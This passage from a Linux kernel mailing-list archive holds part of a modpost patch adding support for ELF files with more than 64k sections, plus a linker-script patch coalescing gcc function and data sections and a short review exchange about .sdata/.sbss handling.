 scripts/mod/file2alias.c |    6 +-
 scripts/mod/modpost.c    |  102 ++++++++++++++++++++++++++++++++++------------
 scripts/mod/modpost.h    |   43 +++++++++++++++++++
 3 files changed, 122 insertions(+), 29 deletions(-)

diff --git a/scripts/mod/file2alias.c b/scripts/mod/file2alias.c
index 5758aab..88f3f07 100644
--- a/scripts/mod/file2alias.c
+++ b/scripts/mod/file2alias.c
@@ -884,16 +884,16 @@ void handle_moddevtable(struct module *mod, struct elf_info *info,
 	char *zeros = NULL;
 
 	/* We're looking for a section relative symbol */
-	if (!sym->st_shndx || sym->st_shndx >= info->hdr->e_shnum)
+	if (!sym->st_shndx || get_secindex(info, sym) >= info->num_sections)
 		return;
 
 	/* Handle all-NULL symbols allocated into .bss */
-	if (info->sechdrs[sym->st_shndx].sh_type & SHT_NOBITS) {
+	if (info->sechdrs[get_secindex(info, sym)].sh_type & SHT_NOBITS) {
 		zeros = calloc(1, sym->st_size);
 		symval = zeros;
 	} else {
 		symval = (void *)info->hdr
-			+ info->sechdrs[sym->st_shndx].sh_offset
+			+ info->sechdrs[get_secindex(info, sym)].sh_offset
 			+ sym->st_value;
 	}
 
diff --git a/scripts/mod/modpost.c b/scripts/mod/modpost.c
index f6127b9..c827309 100644
--- a/scripts/mod/modpost.c
+++ b/scripts/mod/modpost.c
@@ -253,7 +253,7 @@ static enum export export_no(const char *s)
 	return export_unknown;
 }
 
-static enum export export_from_sec(struct elf_info *elf, Elf_Section sec)
+static enum export export_from_sec(struct elf_info *elf, unsigned int sec)
 {
 	if (sec == elf->export_sec)
 		return export_plain;
@@ -373,6 +373,8 @@ static int parse_elf(struct elf_info *info, const char *filename)
 	Elf_Ehdr *hdr;
 	Elf_Shdr *sechdrs;
 	Elf_Sym  *sym;
+	const char *secstrings;
+	unsigned int symtab_idx = ~0U, symtab_shndx_idx = ~0U;
 
 	hdr = grab_file(filename, &info->size);
 	if (!hdr) {
@@ -417,8 +419,27 @@ static int parse_elf(struct elf_info *info, const char *filename)
 		return 0;
 	}
 
+	if (hdr->e_shnum == 0) {
+		/*
+		 * There are more than 64k sections,
+		 * read count from .sh_size.
+		 * note: it doesn't need shndx2secindex()
+		 */
+		info->num_sections = TO_NATIVE(sechdrs[0].sh_size);
+	}
+	else {
+		info->num_sections = hdr->e_shnum;
+	}
+	if (hdr->e_shstrndx == SHN_XINDEX) {
+		info->secindex_strings =
+		    shndx2secindex(TO_NATIVE(sechdrs[0].sh_link));
+	}
+	else {
+		info->secindex_strings = hdr->e_shstrndx;
+	}
+
 	/* Fix endianness in section headers */
-	for (i = 0; i < hdr->e_shnum; i++) {
+	for (i = 0; i < info->num_sections; i++) {
 		sechdrs[i].sh_name      = TO_NATIVE(sechdrs[i].sh_name);
 		sechdrs[i].sh_type      = TO_NATIVE(sechdrs[i].sh_type);
 		sechdrs[i].sh_flags     = TO_NATIVE(sechdrs[i].sh_flags);
@@ -431,9 +452,8 @@ static int parse_elf(struct elf_info *info, const char *filename)
 		sechdrs[i].sh_entsize   = TO_NATIVE(sechdrs[i].sh_entsize);
 	}
 	/* Find symbol table. */
-	for (i = 1; i < hdr->e_shnum; i++) {
-		const char *secstrings
-			= (void *)hdr + sechdrs[hdr->e_shstrndx].sh_offset;
+	secstrings = (void *)hdr + sechdrs[info->secindex_strings].sh_offset;
+	for (i = 1; i < info->num_sections; i++) {
 		const char *secname;
 		int nobits = sechdrs[i].sh_type == SHT_NOBITS;
 
@@ -461,14 +481,26 @@ static int parse_elf(struct elf_info *info, const char *filename)
 		else if (strcmp(secname, "__ksymtab_gpl_future") == 0)
 			info->export_gpl_future_sec = i;
 
-		if (sechdrs[i].sh_type != SHT_SYMTAB)
-			continue;
+		if (sechdrs[i].sh_type == SHT_SYMTAB) {
+			unsigned int sh_link_idx;
+			symtab_idx = i;
+			info->symtab_start = (void *)hdr +
+			    sechdrs[i].sh_offset;
+			info->symtab_stop  = (void *)hdr +
+			    sechdrs[i].sh_offset + sechdrs[i].sh_size;
+			sh_link_idx = shndx2secindex(sechdrs[i].sh_link);
+			info->strtab       = (void *)hdr +
+			    sechdrs[sh_link_idx].sh_offset;
+		}
 
-		info->symtab_start = (void *)hdr + sechdrs[i].sh_offset;
-		info->symtab_stop  = (void *)hdr + sechdrs[i].sh_offset
-			                         + sechdrs[i].sh_size;
-		info->strtab       = (void *)hdr +
-			             sechdrs[sechdrs[i].sh_link].sh_offset;
+		/* 32bit section no. table? ("more than 64k sections") */
+		if (sechdrs[i].sh_type == SHT_SYMTAB_SHNDX) {
+			symtab_shndx_idx = i;
+			info->symtab_shndx_start = (void *)hdr +
+			    sechdrs[i].sh_offset;
+			info->symtab_shndx_stop  = (void *)hdr +
+			    sechdrs[i].sh_offset + sechdrs[i].sh_size;
+		}
 	}
 	if (!info->symtab_start)
 		fatal("%s has no symtab?\n", filename);
@@ -480,6 +512,21 @@ static int parse_elf(struct elf_info *info, const char *filename)
 		sym->st_value = TO_NATIVE(sym->st_value);
 		sym->st_size  = TO_NATIVE(sym->st_size);
 	}
+
+	if (symtab_shndx_idx != ~0U) {
+		Elf32_Word *p;
+		if (symtab_idx !=
+		    shndx2secindex(sechdrs[symtab_shndx_idx].sh_link))
+			fatal("%s: SYMTAB_SHNDX has bad sh_link: %u!=%u\n",
+			      filename,
+			      shndx2secindex(sechdrs[symtab_shndx_idx].sh_link),
+			      symtab_idx);
+		/* Fix endianness */
+		for (p = info->symtab_shndx_start; p < info->symtab_shndx_stop;
+		     p++)
+			*p = TO_NATIVE(*p);
+	}
+
 	return 1;
 }
 
@@ -519,7 +566,7 @@ static void handle_modversions(struct module *mod, struct elf_info *info,
 			       Elf_Sym *sym, const char *symname)
 {
 	unsigned int crc;
-	enum export export = export_from_sec(info, sym->st_shndx);
+	enum export export = export_from_sec(info, get_secindex(info, sym));
 
 	switch (sym->st_shndx) {
 	case SHN_COMMON:
@@ -661,19 +708,19 @@ static const char *sym_name(struct elf_info *elf, Elf_Sym *sym)
 		return "(unknown)";
 }
 
-static const char *sec_name(struct elf_info *elf, int shndx)
+static const char *sec_name(struct elf_info *elf, int secindex)
 {
 	Elf_Shdr *sechdrs = elf->sechdrs;
 	return (void *)elf->hdr +
-	        elf->sechdrs[elf->hdr->e_shstrndx].sh_offset +
-	        sechdrs[shndx].sh_name;
+		elf->sechdrs[elf->secindex_strings].sh_offset +
+		sechdrs[secindex].sh_name;
 }
 
 static const char *sech_name(struct elf_info *elf, Elf_Shdr *sechdr)
 {
 	return (void *)elf->hdr +
-	        elf->sechdrs[elf->hdr->e_shstrndx].sh_offset +
-	        sechdr->sh_name;
+		elf->sechdrs[elf->secindex_strings].sh_offset +
+		sechdr->sh_name;
 }
 
 /* if sym is empty or point to a string
@@ -1052,11 +1099,14 @@ static Elf_Sym *find_elf_symbol(struct elf_info *elf, Elf64_Sword addr,
 	Elf_Sym *near = NULL;
 	Elf64_Sword distance = 20;
 	Elf64_Sword d;
+	unsigned int relsym_secindex;
 
 	if (relsym->st_name != 0)
 		return relsym;
+
+	relsym_secindex = get_secindex(elf, relsym);
 	for (sym = elf->symtab_start; sym < elf->symtab_stop; sym++) {
-		if (sym->st_shndx != relsym->st_shndx)
+		if (get_secindex(elf, sym) != relsym_secindex)
 			continue;
 		if (ELF_ST_TYPE(sym->st_info) == STT_SECTION)
 			continue;
@@ -1118,9 +1168,9 @@ static Elf_Sym *find_elf_symbol2(struct elf_info *elf, Elf_Addr addr,
 	for (sym = elf->symtab_start; sym < elf->symtab_stop; sym++) {
 		const char *symsec;
 
-		if (sym->st_shndx >= SHN_LORESERVE)
+		if (is_shndx_special(sym->st_shndx))
 			continue;
-		symsec = sec_name(elf, sym->st_shndx);
+		symsec = sec_name(elf, get_secindex(elf, sym));
 		if (strcmp(symsec, sec) != 0)
 			continue;
 		if (!is_valid_name(elf, sym))
@@ -1316,7 +1366,7 @@ static void check_section_mismatch(const char *modname, struct elf_info *elf,
 	const char *tosec;
 	const struct sectioncheck *mismatch;
 
-	tosec = sec_name(elf, sym->st_shndx);
+	tosec = sec_name(elf, get_secindex(elf, sym));
 	mismatch = section_mismatch(fromsec, tosec);
 	if (mismatch) {
 		Elf_Sym *to;
@@ -1344,7 +1394,7 @@ static unsigned int *reloc_location(struct elf_info *elf,
 				    Elf_Shdr *sechdr, Elf_Rela *r)
 {
 	Elf_Shdr *sechdrs = elf->sechdrs;
-	int section = sechdr->sh_info;
+	int section = shndx2secindex(sechdr->sh_info);
 
 	return (void *)elf->hdr + sechdrs[section].sh_offset +
 		r->r_offset - sechdrs[section].sh_addr;
@@ -1452,7 +1502,7 @@ static void section_rela(const char *modname, struct elf_info *elf,
 		r.r_addend = TO_NATIVE(rela->r_addend);
 		sym = elf->symtab_start + r_sym;
 		/* Skip special sections */
-		if (sym->st_shndx >= SHN_LORESERVE)
+		if (is_shndx_special(sym->st_shndx))
 			continue;
 		check_section_mismatch(modname, elf, &r, sym, fromsec);
 	}
@@ -1510,7 +1560,7 @@ static void section_rel(const char *modname, struct elf_info *elf,
 		}
 		sym = elf->symtab_start + r_sym;
 		/* Skip special sections */
-		if (sym->st_shndx >= SHN_LORESERVE)
+		if (is_shndx_special(sym->st_shndx))
 			continue;
 		check_section_mismatch(modname, elf, &r, sym, fromsec);
 	}
@@ -1535,7 +1585,7 @@ static void check_sec_ref(struct module *mod, const char *modname,
 	Elf_Shdr *sechdrs = elf->sechdrs;
 
 	/* Walk through all sections */
-	for (i = 0; i < elf->hdr->e_shnum; i++) {
+	for (i = 0; i < elf->num_sections; i++) {
 		check_section(modname, elf, &elf->sechdrs[i]);
 		/* We want to process only relocation sections and not .init */
 		if (sechdrs[i].sh_type == SHT_RELA)
diff --git a/scripts/mod/modpost.h b/scripts/mod/modpost.h
index be987a4..0388cfc 100644
--- a/scripts/mod/modpost.h
+++ b/scripts/mod/modpost.h
@@ -129,8 +129,51 @@ struct elf_info {
 	const char   *strtab;
 	char	     *modinfo;
 	unsigned int modinfo_len;
+
+	/* support for 32bit section numbers */
+
+	unsigned int num_sections; /* max_secindex + 1 */
+	unsigned int secindex_strings;
+	/* if Nth symbol table entry has .st_shndx = SHN_XINDEX,
+	 * take shndx from symtab_shndx_start[N] instead */
+	Elf32_Word   *symtab_shndx_start;
+	Elf32_Word   *symtab_shndx_stop;
 };
 
+static inline int is_shndx_special(unsigned int i)
+{
+	return i != SHN_XINDEX && i >= SHN_LORESERVE && i <= SHN_HIRESERVE;
+}
+
+/* shndx is in [0..SHN_LORESERVE) U (SHN_HIRESERVE, 0xfffffff], thus:
+ * shndx == 0               <=> sechdrs[0]
+ * ......
+ * shndx == SHN_LORESERVE-1 <=> sechdrs[SHN_LORESERVE-1]
+ * shndx == SHN_HIRESERVE+1 <=> sechdrs[SHN_LORESERVE]
+ * shndx == SHN_HIRESERVE+2 <=> sechdrs[SHN_LORESERVE+1]
+ * ......
+ * fyi: sym->st_shndx is uint16, SHN_LORESERVE = ff00, SHN_HIRESERVE = ffff,
+ * so basically we map  0000..feff -> 0000..feff
+ *                      ff00..ffff -> (you are a bad boy, dont do it)
+ *                     10000..xxxx -> ff00..(xxxx-0x100)
+ */
+static inline unsigned int shndx2secindex(unsigned int i)
+{
+	if (i <= SHN_HIRESERVE)
+		return i;
+	return i - (SHN_HIRESERVE + 1 - SHN_LORESERVE);
+}
+
+/* Accessor for sym->st_shndx, hides ugliness of "64k sections" */
+static inline unsigned int get_secindex(const struct elf_info *info,
+					const Elf_Sym *sym)
+{
+	if (sym->st_shndx != SHN_XINDEX)
+		return sym->st_shndx;
+	return shndx2secindex(info->symtab_shndx_start[sym -
+						       info->symtab_start]);
+}
+
 /* file2alias.c */
 extern unsigned int cross_build;
 void handle_moddevtable(struct module *mod, struct elf_info *info,
-- 
1.6.2.4


From - Thu Nov 08 21:06:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Denys Vlasenko <vda.linux@googlemail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kbuild.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 2/4] module linker script: coalesce function and data sections
Date: Thu, 29 Jul 2010 01:47:54 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <1280360876-2571-3-git-send-email-vda.linux@googlemail.com>
References: <1280360876-2571-1-git-send-email-vda.linux@googlemail.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1280360958 21861 80.91.229.12 (28 Jul 2010 23:49:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 28 Jul 2010 23:49:18 +0000 (UTC)
Cc: lkml <linux-kernel@vger.kernel.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	Tim Abbott <tabbott@ksplice.com>,
	Tim Bird <tim.bird@am.sony.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Matt Fleming <matt@console-pimps.org>,
	Arnd Bergmann <arnd@arndb.de>,
	Anders Kaseorg <andersk@mit.edu>,
	Andi Kleen <andi@firstfloor.org>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Denys Vlasenko <vda.linux@googlemail.com>
To: Michal Marek <mmarek@suse.cz>,
	linux-kbuild <linux-kbuild@vger.kernel.org>,
	linux-arch@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 29 01:49:14 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OeGN5-0006zx-4o
	for glpp-linux-parisc@lo.gmane.org; Thu, 29 Jul 2010 01:49:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755830Ab0G1XtC (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 Jul 2010 19:49:02 -0400
Original-Received: from mail-fx0-f46.google.com ([209.85.161.46]:33096 "EHLO
	mail-fx0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752508Ab0G1XsR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 Jul 2010 19:48:17 -0400
Original-Received: by mail-fx0-f46.google.com with SMTP id 14so1531444fxm.19
        for <multiple recipients>; Wed, 28 Jul 2010 16:48:16 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=gamma;
        h=domainkey-signature:received:received:from:to:cc:subject:date
         :message-id:x-mailer:in-reply-to:references;
        bh=4xixXnlkkziBsIca87Ka7NA4IUaDVPPccKrbrFI/Hqo=;
        b=XAtE4wlIumGZA/1+PZrlkVgHKOW3t6x7NENAE2xRA0zvuROSePdw17qZWM0LPMmxNw
         VUPlt1KYr4VwBI/0zvsZDB3ZSAxSHMxDFlG6IOSkiesziMQawPavxuzJ3h7pLBF1w/7X
         OtKeuBjicDI5/zOGkLbBxMHaavX+vBj3CAYss=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=googlemail.com; s=gamma;
        h=from:to:cc:subject:date:message-id:x-mailer:in-reply-to:references;
        b=iS0s8917TVLBBIOinlFXnQdLZA6zc7onc2TgpNJcvu4M56ruHTtYRTkYvZS25886uh
         d/lBijZAYeBXKLs849J728I0ujhx0JnUbvdJsoSNyCk2PMBDXw37z0D1ct2+W7aMD78v
         soun2N+recsj5RlGq5YlUYxn4CwibJlO70TY8=
Original-Received: by 10.223.122.145 with SMTP id l17mr10794055far.81.1280360896356;
        Wed, 28 Jul 2010 16:48:16 -0700 (PDT)
Original-Received: from localhost.localdomain (221.47.broadband5.iol.cz [88.100.47.221])
        by mx.google.com with ESMTPS id a9sm54590faa.3.2010.07.28.16.48.15
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Wed, 28 Jul 2010 16:48:15 -0700 (PDT)
X-Mailer: git-send-email 1.6.2.5
In-Reply-To: <1280360876-2571-1-git-send-email-vda.linux@googlemail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3012 gmane.linux.kbuild.devel:4995 gmane.linux.kernel.cross-arch:7205 gmane.linux.kernel:1015436
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3012>

gcc -ffunction-sections -fdata-sections places each function foo
into separate section .text.foo, and every data object bar into
separate section .data.bar, .rodata.bar or .bss.bar.

This fix prevents kernel modules from having unnecessarily many
sections and thus prevents module size growth when we pass
-ffunction-sections -fdata-sections to gcc.

Module linker script needs to avoid collecting special kernel sections,
therefore it uses more restrictive patterns like *(.text.[A-Za-z0-9_$^]*)
instead of simplistic *(.text.*): special kernel sections like
.text..page_aligned contain double dots and won't be accidentally
matched by them.

Signed-off-by: Denys Vlasenko <vda.linux@googlemail.com>
Acked-by: Sam Ravnborg <sam@ravnborg.org>
---
 scripts/module-common.lds |   23 +++++++++++++++++++++++
 1 files changed, 23 insertions(+), 0 deletions(-)

diff --git a/scripts/module-common.lds b/scripts/module-common.lds
index 47a1f9a..4a197e8 100644
--- a/scripts/module-common.lds
+++ b/scripts/module-common.lds
@@ -3,6 +3,29 @@
  * Archs are free to supply their own linker scripts.  ld will
  * combine them automatically.
  */
+
+/* .data.foo are generated by gcc itself with -fdata-sections,
+ * whereas double-dot sections (like .data..percpu) are generated
+ * by kernel's magic macros.
+ *
+ * Since this script does not specify what to do with double-dot sections,
+ * ld -r will coalesce all .data..foo input sections into one .data..foo
+ * output section, all .data..bar input sections into one .data..bar
+ * output section and so on. This is exactly what we want.
+ *
+ * Same goes for .text, .bss and .rodata. In case of .rodata, various
+ * .rodata.foo sections are generated by gcc even without -fdata-sections
+ */
+
 SECTIONS {
+
+	/* Coalesce sections produced by gcc -ffunction-sections */
+	.text   0 : AT(0) { *(.text .text.[A-Za-z0-9_$^]*) }
+
+	/* Coalesce sections produced by gcc -fdata-sections */
+	.rodata 0 : AT(0) { *(.rodata .rodata.[A-Za-z0-9_$^]*) }
+	.data   0 : AT(0) { *(.data .data.[A-Za-z0-9_$^]*) }
+	.bss    0 : AT(0) { *(.bss .bss.[A-Za-z0-9_$^]*) }
+
 	/DISCARD/ : { *(.discard) }
 }
-- 
1.6.2.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Howells <dhowells@redhat.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kbuild.devel,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 2/4] module linker script: coalesce function and data sections
Date: Thu, 29 Jul 2010 01:25:05 +0100
Organization: Red Hat UK Ltd. Registered Address: Red Hat UK Ltd, Amberley
	Place, 107-111 Peascod Street, Windsor, Berkshire, SI4 1TE, United
	Kingdom.
	Registered in England and Wales under Company Registration No. 3798903
Lines: 9
Approved: news@gmane.org
Message-ID: <29025.1280363105@redhat.com>
References: <1280360876-2571-3-git-send-email-vda.linux@googlemail.com> <1280360876-2571-1-git-send-email-vda.linux@googlemail.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1280363150 27109 80.91.229.12 (29 Jul 2010 00:25:50 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 29 Jul 2010 00:25:50 +0000 (UTC)
Cc: dhowells@redhat.com, Michal Marek <mmarek@suse.cz>,
	linux-kbuild <linux-kbuild@vger.kernel.org>,
	linux-arch@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	lkml <linux-kernel@vger.kernel.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	Tim Abbott <tabbott@ksplice.com>,
	Tim Bird <tim.bird@am.sony.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Matt Fleming <matt@console-pimps.org>,
	Arnd Bergmann <arnd@arndb.de>,
	Anders Kaseorg <andersk@mit.edu>,
	Andi Kleen <andi@firstfloor.org>,
	Stephen Rothwell <sfr@canb.auug.org.au>
To: Denys Vlasenko <vda.linux@googlemail.com>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Jul 29 02:25:45 2010
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1OeGwQ-0000L9-3W
	for glka-linux-arch@lo.gmane.org; Thu, 29 Jul 2010 02:25:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751369Ab0G2AZk (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 28 Jul 2010 20:25:40 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:30933 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751134Ab0G2AZj (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Wed, 28 Jul 2010 20:25:39 -0400
Original-Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id o6T0PDEC031687
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 28 Jul 2010 20:25:13 -0400
Original-Received: from redhat.com ([10.3.112.7])
	by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id o6T0P6Vt026120;
	Wed, 28 Jul 2010 20:25:07 -0400
In-Reply-To: <1280360876-2571-3-git-send-email-vda.linux@googlemail.com>
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:7208 gmane.linux.kbuild.devel:4997 gmane.linux.ports.parisc:3013 gmane.linux.kernel:1015443
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3013>

Denys Vlasenko <vda.linux@googlemail.com> wrote:

> +	.data   0 : AT(0) { *(.data .data.[A-Za-z0-9_$^]*) }
> +	.bss    0 : AT(0) { *(.bss .bss.[A-Za-z0-9_$^]*) }

What about .sdata and .sbss sections produced by arches that support small
data sections?

David

From - Thu Nov 08 21:06:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Denys Vlasenko <vda.linux@googlemail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kbuild.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: Re: [PATCH 2/4] module linker script: coalesce function and data sections
Date: Thu, 29 Jul 2010 03:24:36 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <201007290324.36745.vda.linux@googlemail.com>
References: <1280360876-2571-3-git-send-email-vda.linux@googlemail.com> <1280360876-2571-1-git-send-email-vda.linux@googlemail.com> <29025.1280363105@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1280366689 2521 80.91.229.12 (29 Jul 2010 01:24:49 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 29 Jul 2010 01:24:49 +0000 (UTC)
Cc: Michal Marek <mmarek@suse.cz>,
	linux-kbuild <linux-kbuild@vger.kernel.org>,
	linux-arch@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	lkml <linux-kernel@vger.kernel.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	Tim Abbott <tabbott@ksplice.com>,
	Tim Bird <tim.bird@am.sony.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Matt Fleming <matt@console-pimps.org>,
	Arnd Bergmann <arnd@arndb.de>,
	Anders Kaseorg <andersk@mit.edu>,
	Andi Kleen <andi@firstfloor.org>,
	Stephen Rothwell <sfr@canb.auug.org.au>
To: David Howells <dhowells@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 29 03:24:45 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OeHrY-0008WH-R6
	for glpp-linux-parisc@lo.gmane.org; Thu, 29 Jul 2010 03:24:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751194Ab0G2BYo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 Jul 2010 21:24:44 -0400
Original-Received: from mail-fx0-f46.google.com ([209.85.161.46]:58045 "EHLO
	mail-fx0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750996Ab0G2BYm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 Jul 2010 21:24:42 -0400
Original-Received: by fxm14 with SMTP id 14so11011fxm.19
        for <multiple recipients>; Wed, 28 Jul 2010 18:24:41 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=gamma;
        h=domainkey-signature:received:received:from:to:subject:date
         :user-agent:cc:references:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:message-id;
        bh=NCxriEgRnMwpmSAaMb+ATIAPJ7EagMM5GKAl23v/nl0=;
        b=WKxN9C/aX4sOmF+S/q3Ayyv+BdGA3o7ArVJSOSovrHiV+JssVRnnnXrfHsouFGAZ/x
         ec5qV6MHH2a5anZGyNGaxTAtczlUVM2r7E6CVlHyRcSCLOJwP1kQrf2hYol9xdtfYtB0
         4lX5ARFIz6WdyMHIMZN8DOZKWqMfg1IQcyy/0=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=googlemail.com; s=gamma;
        h=from:to:subject:date:user-agent:cc:references:in-reply-to
         :mime-version:content-type:content-transfer-encoding
         :content-disposition:message-id;
        b=YYGZm+LhAEq/P7nKlHgasoSA0345+JalCMjYntov3q894v5FB6E116k+7gLoSqV5S/
         ap3ntzXfnAUMAhAuzZOEgXa6j/kRhRu5Z1JvO/Y7H/UGRKMWknQRAgnswqP9HwxMDOMn
         n7Gd5vcvcZOgmt4BHHXg2Vwq6jNfHO/Tvzn7A=
Original-Received: by 10.223.104.15 with SMTP id m15mr10796329fao.103.1280366681125;
        Wed, 28 Jul 2010 18:24:41 -0700 (PDT)
Original-Received: from shadow (221.47.broadband5.iol.cz [88.100.47.221])
        by mx.google.com with ESMTPS id c5sm80223fac.43.2010.07.28.18.24.39
        (version=SSLv3 cipher=RC4-MD5);
        Wed, 28 Jul 2010 18:24:40 -0700 (PDT)
User-Agent: KMail/1.8.2
In-Reply-To: <29025.1280363105@redhat.com>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3014 gmane.linux.kbuild.devel:4998 gmane.linux.kernel.cross-arch:7209 gmane.linux.kernel:1015453
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3014>

On Thursday 29 July 2010 02:25, David Howells wrote:
> Denys Vlasenko <vda.linux@googlemail.com> wrote:
> 
> > +	.data   0 : AT(0) { *(.data .data.[A-Za-z0-9_$^]*) }
> > +	.bss    0 : AT(0) { *(.bss .bss.[A-Za-z0-9_$^]*) }
> 
> What about .sdata and .sbss sections produced by arches that support small
> data sections?

linker groups all similarly-named input sections into one output section
with the same name, if the name does not match any rule in the linker
script.

Basically, it should work as if there is a rule:

.sbss    0 : AT(0) { *(.sbss) }

-- 
vda
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Howells <dhowells@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kbuild.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: Re: [PATCH 2/4] module linker script: coalesce function and data sections
Date: Thu, 29 Jul 2010 10:09:57 +0100
Organization: Red Hat UK Ltd. Registered Address: Red Hat UK Ltd, Amberley
	Place, 107-111 Peascod Street, Windsor, Berkshire, SI4 1TE, United
	Kingdom.
	Registered in England and Wales under Company Registration No. 3798903
Lines: 18
Approved: news@gmane.org
Message-ID: <30881.1280394597@redhat.com>
References: <201007290324.36745.vda.linux@googlemail.com> <1280360876-2571-3-git-send-email-vda.linux@googlemail.com> <1280360876-2571-1-git-send-email-vda.linux@googlemail.com> <29025.1280363105@redhat.com>
NNTP-Posting-Host: lo.gmane.org
